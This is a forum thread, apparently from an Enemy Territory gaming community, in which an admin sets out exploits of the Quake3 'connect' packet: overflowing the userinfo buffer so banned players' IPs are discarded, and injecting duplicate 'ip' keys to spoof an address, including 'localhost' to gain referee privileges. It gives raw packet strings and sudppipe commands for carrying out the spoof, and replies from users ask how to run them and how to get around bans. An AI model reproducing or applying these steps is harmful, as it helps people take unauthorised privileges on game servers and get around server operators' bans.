OOB IP Spoofing exploits: Referee hack & Unban

  • admin

    Enemy Territory uses the Quake3 network protocol.

    When you connect to a server, the communication is initialized by an OOB (Out of Band) message, which format is:

    ����connect "<userinfo>"

    The ���� is the packet header, it is equal to 0xFF 0xFF 0xFF 0xFF and is used to identify the packet type.

    connect is the command intended.

    The userinfo is a key-value string which format is \key\value.

    The userinfo contains

    • g_password: the server password
    • cl_guid: the etkey
    • cl_wwwDownload: whether the client allow pk3 download
    • name: the player name
    • rate: the packet transfer rate
    • snaps: the ping adjustement ?
    • cl_punkbuster: whether punkbuster is enabled
    • protocol: the protocol version, here 84
    • qport: the client port used
    • challenge: a random number ?

    The raw line looks like this:

    ����connect "\g_password\none\cl_guid\CE0C2139D870D721E895A39BB06500C6\cl_wwwDownload\1\name\ETPlayer\rate\25000\snaps\20\cl_anonymous\0\cl_punkbuster\1\protocol\84\qport\738\challenge\385942564"

    Now, when the server receive the connect query message, it appends another value at the end of your userinfo, your IP

    ����connect "\g_password\none\cl_guid\CE0C2139D870D721E895A39BB06500C6\cl_wwwDownload\1\name\ETPlayer\rate\25000\snaps\20\cl_anonymous\0\cl_punkbuster\1\protocol\84\qport\738\challenge\385942564\ip\"

    There is two ways to alter this value

    Buffer Overflow

    The <userinfo> is a char array of size 1024

    #define MAX_INFO_STRING 1024

    and thought of adding a long key-value of (1024 - the current <userinfo>) length char at the end of the sent userinfo.

    It looks like this


    So, here, my <userinfo> followed by \421 × A\420 × A

    When the server receive that, it will add you IP after your userinfo, but as it's stored in a char[1024] variable, a buffer overflow occurs and your IP is discarded.

    The server does not know your current IP anymore, and if you were IP banned, now you're not.

    Duplicate field exploit

    If the server receive the same key in the userinfo string, it will remove the last duplicated key.



    after the name key (for example) will make the server remove the last ip key, which is your real ip, keeping the one you inserted in your fake userinfo.

    The raw line would looks like that

    ����connect "\g_password\none\cl_guid\CE0C2139D870D721E895A39BB06500C6\cl_wwwDownload\1\ip\locahost\ip\localhost\name\ETPlayer\rate\25000\snaps\20\cl_anonymous\0\cl_punkbuster\1\protocol\84\qport\693\challenge\385942564"

    This method makes it possible to spoof IP.

    Now, another exploit can be used with IP spoofing.

    Referee hack

    Instead of spoofing the IP to a random IP like, spoofing it to localhost will automatically promote the player to Referee status.

  • Does it still work?

  • admin

    @DrWindows On some servers yes

  • I dont get how it works? Can u explain that ref hack?`

  • admin

    You can use Simple UDP proxy/pipe 0.4.1 (sudppipe) with Quake 3 engine "connect" modifier 0.2 (q3conmod_sudp) (compatible with Enemy Territory as it uses quake3 network protocol)

    plugin for sudppipe which allows a simple customization of the "connect" packet for the games which use the Quake 3 engine:
    sudppipe -l q3conmod_sudp.dll -L "\parameter1\value1\parameter2\value2" IP PORT 1234
    (use -L "" for the runtime help) then from the console of the game type: /connect
    the following is an example for joining a server which uses PunkBuster with PB disabled (the client will be kicked after some seconds/minutes):
    sudppipe -l q3conmod_sudp.dll -L "\cl_punkbuster\1" SERVER PORT 1234
    then from the client:

    So to spoof your IP address, you can use
    sudppipe -l q3conmod_sudp.dll -L "\ip\\ip\" SERVER PORT 1234
    Then, ingame, /connect 1234

  • @Annihil I dont get anything xD where do i need to type that?

  • admin

    @DrWindows In the Windows Command Prompt (cmd)

  • Its really confusing.

    Can u write a tutorial with like.
    1st u do this
    2nd this etc?

  • Hello!
    You do not know why it causes a cmd failure? I do everything according to your guide.
    Bat File:
    (4 is port)
    Connecting to server:





  • @playerx99 if you are not subnet ban (meaning the first 2 byte of your IP banned), then resetting your router might give you a new not banned IP.
    Otherwise using a VPN yes. There are many free and fast ones.

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  • C

    @playerx99 Resetting your router will potentially give you a new IP.

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  • P

    @Annihil There is only 2 ways I know of to change ip
    1: new internet provider
    2: VPN

    is there any other way?

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  • @ColdogMC you have to change IP as well

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